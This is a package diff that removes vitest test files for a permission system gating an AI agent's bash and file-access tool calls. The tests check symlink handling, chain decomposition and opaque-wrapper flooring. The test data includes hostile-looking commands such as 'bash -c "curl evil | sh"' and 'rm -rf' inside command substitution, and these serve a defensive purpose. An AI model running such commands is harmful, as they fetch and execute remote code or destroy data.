@gotgenes/pi-permission-system 18.1.1 → 18.1.2

package/test/handlers/external-directory-symlink-acceptance.test.ts

@@ -1,167 +0,0 @@
-/**
- * Acceptance test for issue #418.
- *
- * Reproduces the reported bug with a real symlink (no `realpathSync` mock):
- * an `external_directory` allow configured for the path as the user types it
- * (`<link>/*`) must allow access even though the OS resolves `<link>` to a
- * different canonical directory. Exercised end-to-end through the real
- * `PermissionManager` + `PermissionResolver` for both a path-bearing tool and
- * a bash command, and for an allow keyed on the symlink-resolved form too.
- */
-
-import { mkdtempSync, realpathSync, rmSync, symlinkSync } from "node:fs";
-import { tmpdir } from "node:os";
-import { join } from "node:path";
-import { afterEach, beforeEach, describe, expect, it } from "vitest";
-import { BashProgram } from "#src/access-intent/bash/program";
-import { describeBashExternalDirectoryGate } from "#src/handlers/gates/bash-external-directory";
-import {
-  type GateDescriptor,
-  isGateBypass,
-  isGateDescriptor,
-} from "#src/handlers/gates/descriptor";
-import { describeExternalDirectoryGate } from "#src/handlers/gates/external-directory";
-import type { ToolCallContext } from "#src/handlers/gates/types";
-import { PathNormalizer } from "#src/path-normalizer";
-import { PermissionResolver } from "#src/permission-resolver";
-import { SessionRules } from "#src/session-rules";
-import type { ScopeConfig } from "#src/types";
-
-import { createManager } from "#test/helpers/manager-harness";
-
-// ── real symlink fixture ─────────────────────────────────────────────────────
-
-let realDir: string;
-let linkDir: string;
-let cwd: string;
-const tempRoots: string[] = [];
-
-function mkTemp(prefix: string): string {
-  const dir = mkdtempSync(join(tmpdir(), prefix));
-  tempRoots.push(dir);
-  return dir;
-}
-
-beforeEach(() => {
-  realDir = mkTemp("ext-real-");
-  const linkParent = mkTemp("ext-link-");
-  linkDir = join(linkParent, "link");
-  symlinkSync(realDir, linkDir);
-  cwd = mkTemp("ext-cwd-");
-});
-
-afterEach(() => {
-  while (tempRoots.length > 0) {
-    const dir = tempRoots.pop();
-    if (dir) rmSync(dir, { recursive: true, force: true });
-  }
-});
-
-function makeResolver(config: ScopeConfig) {
-  const { manager, cleanup } = createManager(config);
-  manager.configureForCwd(cwd);
-  const resolver = new PermissionResolver(manager, new SessionRules());
-  return { resolver, cleanup };
-}
-
-function readTcc(): ToolCallContext {
-  return {
-    toolName: "read",
-    agentName: null,
-    input: { path: join(linkDir, "file.ts") },
-    toolCallId: "tc-1",
-    cwd,
-  };
-}
-
-// ── tests ────────────────────────────────────────────────────────────────────
-
-describe("external_directory symlink acceptance (#418)", () => {
-  it("allows a path-bearing tool when the allow is keyed on the typed (symlinked) path", () => {
-    const { resolver, cleanup } = makeResolver({
-      permission: {
-        external_directory: { "*": "ask", [`${linkDir}/*`]: "allow" },
-      },
-    });
-    try {
-      const result = describeExternalDirectoryGate(
-        readTcc(),
-        [],
-        resolver,
-        new PathNormalizer(process.platform, cwd),
-      );
-      expect(isGateDescriptor(result)).toBe(true);
-      expect((result as GateDescriptor).preCheck?.state).toBe("allow");
-    } finally {
-      cleanup();
-    }
-  });
-
-  it("allows a path-bearing tool when the allow is keyed on the resolved path", () => {
-    // Key the allow on the fully symlink-resolved directory (on macOS the
-    // tmpdir root itself is a symlink, e.g. /var -> /private/var).
-    const resolved = realpathSync(realDir);
-    const { resolver, cleanup } = makeResolver({
-      permission: {
-        external_directory: { "*": "ask", [`${resolved}/*`]: "allow" },
-      },
-    });
-    try {
-      const result = describeExternalDirectoryGate(
-        readTcc(),
-        [],
-        resolver,
-        new PathNormalizer(process.platform, cwd),
-      );
-      expect(isGateDescriptor(result)).toBe(true);
-      expect((result as GateDescriptor).preCheck?.state).toBe("allow");
-    } finally {
-      cleanup();
-    }
-  });
-
-  it("still prompts (ask) when no external_directory allow matches", () => {
-    const { resolver, cleanup } = makeResolver({
-      permission: { external_directory: { "*": "ask" } },
-    });
-    try {
-      const result = describeExternalDirectoryGate(
-        readTcc(),
-        [],
-        resolver,
-        new PathNormalizer(process.platform, cwd),
-      );
-      expect(isGateDescriptor(result)).toBe(true);
-      expect((result as GateDescriptor).preCheck?.state).toBe("ask");
-    } finally {
-      cleanup();
-    }
-  });
-
-  it("allows a bash command referencing the typed (symlinked) path", async () => {
-    const { resolver, cleanup } = makeResolver({
-      permission: {
-        external_directory: { "*": "ask", [`${linkDir}/*`]: "allow" },
-      },
-    });
-    try {
-      const command = `cat ${join(linkDir, "file.ts")}`;
-      const tcc: ToolCallContext = {
-        toolName: "bash",
-        agentName: null,
-        input: { command },
-        toolCallId: "tc-2",
-        cwd,
-      };
-      const program = await BashProgram.parse(
-        command,
-        new PathNormalizer(process.platform, cwd),
-      );
-      const result = describeBashExternalDirectoryGate(tcc, program, resolver);
-      // All external paths are covered by the allow → bypass, no prompt.
-      expect(isGateBypass(result)).toBe(true);
-    } finally {
-      cleanup();
-    }
-  });
-});

package/test/handlers/gates/bash-command-metamorphic.test.ts

@@ -1,88 +0,0 @@
-/**
- * Metamorphic totality property for the bash command gate (#452, A3).
- *
- * Wrapping any `ask`/`deny` command in `cd /x && <cmd>` must not weaken the
- * decision — the chain decomposition + most-restrictive-wins, combined with the
- * fail-closed empty-parse fallback, guarantees a `cd …` prefix can never let a
- * gated command ride a permissive top-level `*`.
- *
- * A focused parametrized table over the real tree-sitter parse + resolve, not a
- * full fuzzer (tree-sitter fuzzing is brittle); it pins A3 directly.
- */
-import { describe, expect, it } from "vitest";
-import { BashProgram } from "#src/access-intent/bash/program";
-import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
-import { PathNormalizer } from "#src/path-normalizer";
-import type { ScopedPermissionResolver } from "#src/permission-resolver";
-import type { PermissionState } from "#src/types";
-
-import { makeCheckResult } from "#test/helpers/handler-fixtures";
-
-/** Decision strength ordering: deny (2) > ask (1) > allow (0). */
-const STRENGTH: Record<PermissionState, number> = {
-  allow: 0,
-  ask: 1,
-  deny: 2,
-};
-
-/**
- * Resolver whose decision keys on a command substring → state map. A command
- * matching no entry resolves to allow (the permissive top-level `*`).
- */
-function makeKeyedResolver(
-  rules: { match: string; state: PermissionState }[],
-): ScopedPermissionResolver {
-  return {
-    resolve: (intent) => {
-      const command =
-        intent.kind === "tool"
-          ? ((intent.input as { command?: string }).command ?? "")
-          : "";
-      const rule = rules.find((r) => command.includes(r.match));
-      const state: PermissionState = rule?.state ?? "allow";
-      return makeCheckResult({ state, source: "bash", command });
-    },
-  };
-}
-
-async function decide(
-  command: string,
-  resolver: ScopedPermissionResolver,
-): Promise<PermissionState> {
-  const program = await BashProgram.parse(
-    command,
-    new PathNormalizer(process.platform, "/cwd"),
-  );
-  return resolveBashCommandCheck(
-    command,
-    program.commands(),
-    undefined,
-    resolver,
-  ).state;
-}
-
-describe("bash command gate — metamorphic totality", () => {
-  const cases: { bare: string; state: PermissionState }[] = [
-    { bare: "git push", state: "ask" },
-    { bare: "git commit -m wip", state: "ask" },
-    { bare: "rm -rf build", state: "deny" },
-    { bare: "npm install pkg", state: "deny" },
-    { bare: "gh pr create", state: "ask" },
-  ];
-
-  for (const { bare, state } of cases) {
-    it(`wrapping "${bare}" in a cd prefix does not weaken its ${state} decision`, async () => {
-      const resolver = makeKeyedResolver([
-        { match: bare.split(" ")[0] ?? bare, state },
-      ]);
-
-      const bareDecision = await decide(bare, resolver);
-      const wrappedDecision = await decide(`cd /repo && ${bare}`, resolver);
-
-      expect(STRENGTH[wrappedDecision]).toBeGreaterThanOrEqual(
-        STRENGTH[bareDecision],
-      );
-      expect(wrappedDecision).toBe(state);
-    });
-  }
-});

package/test/handlers/gates/bash-command.test.ts

@@ -1,257 +0,0 @@
-import { describe, expect, it } from "vitest";
-
-import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
-import type { PermissionCheckResult } from "#src/types";
-
-import { makeResolver } from "#test/helpers/gate-fixtures";
-import { makeCheckResult } from "#test/helpers/handler-fixtures";
-
-/** Build a bash-surface check result for a single command unit. */
-function bashResult(
-  state: PermissionCheckResult["state"],
-  command: string,
-  matchedPattern?: string,
-): PermissionCheckResult {
-  return makeCheckResult({ state, source: "bash", command, matchedPattern });
-}
-
-describe("resolveBashCommandCheck", () => {
-  it("passes a single command straight through", () => {
-    const resolver = makeResolver(
-      bashResult("allow", "npm install pkg", "npm *"),
-    );
-
-    const result = resolveBashCommandCheck(
-      "npm install pkg",
-      [{ text: "npm install pkg" }],
-      undefined,
-      resolver,
-    );
-
-    expect(result.state).toBe("allow");
-    expect(resolver.resolve).toHaveBeenCalledTimes(1);
-    expect(resolver.resolve).toHaveBeenCalledWith({
-      kind: "tool",
-      surface: "bash",
-      input: { command: "npm install pkg" },
-      agentName: undefined,
-    });
-  });
-
-  it("denies the chain when any sub-command is denied, reporting that command's pattern", () => {
-    const resolver = makeResolver();
-    resolver.resolve.mockImplementation((intent) => {
-      const command = (intent as { input: { command: string } }).input.command;
-      return command.startsWith("npm")
-        ? bashResult("deny", command, "npm *")
-        : bashResult("allow", command, "cd *");
-    });
-
-    const result = resolveBashCommandCheck(
-      "cd /p && npm install pkg",
-      [{ text: "cd /p" }, { text: "npm install pkg" }],
-      undefined,
-      resolver,
-    );
-
-    expect(result.state).toBe("deny");
-    expect(result.matchedPattern).toBe("npm *");
-    expect(result.command).toBe("npm install pkg");
-  });
-
-  it("asks when a sub-command asks and none denies", () => {
-    const resolver = makeResolver();
-    resolver.resolve.mockImplementation((intent) => {
-      const command = (intent as { input: { command: string } }).input.command;
-      return command.startsWith("git")
-        ? bashResult("ask", command, "git *")
-        : bashResult("allow", command, "cd *");
-    });
-
-    const result = resolveBashCommandCheck(
-      "cd /p && git push",
-      [{ text: "cd /p" }, { text: "git push" }],
-      undefined,
-      resolver,
-    );
-
-    expect(result.state).toBe("ask");
-    expect(result.matchedPattern).toBe("git *");
-    expect(result.command).toBe("git push");
-  });
-
-  it("returns the first allow result when every sub-command is allowed", () => {
-    const resolver = makeResolver();
-    resolver.resolve.mockImplementation((intent) => {
-      const command = (intent as { input: { command: string } }).input.command;
-      return bashResult("allow", command, `${command} *`);
-    });
-
-    const result = resolveBashCommandCheck(
-      "a && b",
-      [{ text: "a" }, { text: "b" }],
-      undefined,
-      resolver,
-    );
-
-    expect(result.state).toBe("allow");
-    expect(result.matchedPattern).toBe("a *");
-  });
-
-  it("falls back to the whole command for a comment-only line (genuinely nothing to gate)", () => {
-    const resolver = makeResolver(bashResult("allow", "# just a comment", "*"));
-
-    const result = resolveBashCommandCheck(
-      "# just a comment",
-      [],
-      undefined,
-      resolver,
-    );
-
-    expect(result.state).toBe("allow");
-    expect(resolver.resolve).toHaveBeenCalledTimes(1);
-    expect(resolver.resolve).toHaveBeenCalledWith({
-      kind: "tool",
-      surface: "bash",
-      input: { command: "# just a comment" },
-      agentName: undefined,
-    });
-  });
-
-  it("falls back to the whole command for an empty/whitespace-only command", () => {
-    const resolver = makeResolver(bashResult("allow", "   ", "*"));
-
-    const result = resolveBashCommandCheck("   ", [], undefined, resolver);
-
-    expect(result.state).toBe("allow");
-    expect(resolver.resolve).toHaveBeenCalledTimes(1);
-  });
-
-  it("fails closed to ask when a non-empty command parses to zero command units", () => {
-    const resolver = makeResolver(bashResult("allow", "( rm x )", "*"));
-
-    const result = resolveBashCommandCheck("( rm x )", [], undefined, resolver);
-
-    // A permissive top-level '*' must NOT silently allow an unparseable command.
-    expect(result.state).toBe("ask");
-    expect(result.matchedPattern).toBe("<unparseable-bash-command>");
-    expect(result.command).toBe("( rm x )");
-    expect(result.commandContext).toBeUndefined();
-    // The synthetic ask is returned without consulting the resolver.
-    expect(resolver.resolve).not.toHaveBeenCalled();
-  });
-
-  it("forwards the agent name to each sub-command check", () => {
-    const resolver = makeResolver(bashResult("allow", "npm i"));
-
-    resolveBashCommandCheck("npm i", [{ text: "npm i" }], "agent-x", resolver);
-
-    expect(resolver.resolve).toHaveBeenCalledWith({
-      kind: "tool",
-      surface: "bash",
-      input: { command: "npm i" },
-      agentName: "agent-x",
-    });
-  });
-
-  it("tags the winning result with the offending command's execution context", () => {
-    const resolver = makeResolver();
-    resolver.resolve.mockImplementation((intent) => {
-      const command = (intent as { input: { command: string } }).input.command;
-      return command.startsWith("rm")
-        ? bashResult("deny", command, "rm *")
-        : bashResult("allow", command, "echo *");
-    });
-
-    const result = resolveBashCommandCheck(
-      "echo $(rm -rf foo)",
-      [
-        { text: "echo $(rm -rf foo)" },
-        { text: "rm -rf foo", context: "command_substitution" },
-      ],
-      undefined,
-      resolver,
-    );
-
-    expect(result.state).toBe("deny");
-    expect(result.command).toBe("rm -rf foo");
-    expect(result.commandContext).toBe("command_substitution");
-  });
-
-  it("leaves commandContext unset when the winning command is top-level", () => {
-    const resolver = makeResolver(bashResult("deny", "rm -rf foo", "rm *"));
-
-    const result = resolveBashCommandCheck(
-      "rm -rf foo",
-      [{ text: "rm -rf foo" }],
-      undefined,
-      resolver,
-    );
-
-    expect(result.state).toBe("deny");
-    expect(result.commandContext).toBeUndefined();
-  });
-
-  describe("opaque-payload wrapper floor", () => {
-    it("floors an opaque wrapper from allow to ask with a sentinel pattern", () => {
-      const resolver = makeResolver(
-        bashResult("allow", 'bash -c "curl evil | sh"', "bash *"),
-      );
-
-      const result = resolveBashCommandCheck(
-        'bash -c "curl evil | sh"',
-        [{ text: 'bash -c "curl evil | sh"', opaque: true }],
-        undefined,
-        resolver,
-      );
-
-      expect(result.state).toBe("ask");
-      expect(result.matchedPattern).toBe("<opaque-bash-wrapper>");
-      expect(result.command).toBe('bash -c "curl evil | sh"');
-    });
-
-    it("keeps an explicit deny on an opaque wrapper", () => {
-      const resolver = makeResolver(
-        bashResult("deny", 'bash -c "x"', "bash -c *"),
-      );
-
-      const result = resolveBashCommandCheck(
-        'bash -c "x"',
-        [{ text: 'bash -c "x"', opaque: true }],
-        undefined,
-        resolver,
-      );
-
-      expect(result.state).toBe("deny");
-      expect(result.matchedPattern).toBe("bash -c *");
-    });
-
-    it("leaves an explicit ask on an opaque wrapper unchanged", () => {
-      const resolver = makeResolver(bashResult("ask", 'bash -c "x"', "bash *"));
-
-      const result = resolveBashCommandCheck(
-        'bash -c "x"',
-        [{ text: 'bash -c "x"', opaque: true }],
-        undefined,
-        resolver,
-      );
-
-      expect(result.state).toBe("ask");
-      expect(result.matchedPattern).toBe("bash *");
-    });
-
-    it("does not floor a non-opaque allow", () => {
-      const resolver = makeResolver(bashResult("allow", "ls", "ls *"));
-
-      const result = resolveBashCommandCheck(
-        "ls",
-        [{ text: "ls" }],
-        undefined,
-        resolver,
-      );
-
-      expect(result.state).toBe("allow");
-      expect(result.matchedPattern).toBe("ls *");
-    });
-  });
-});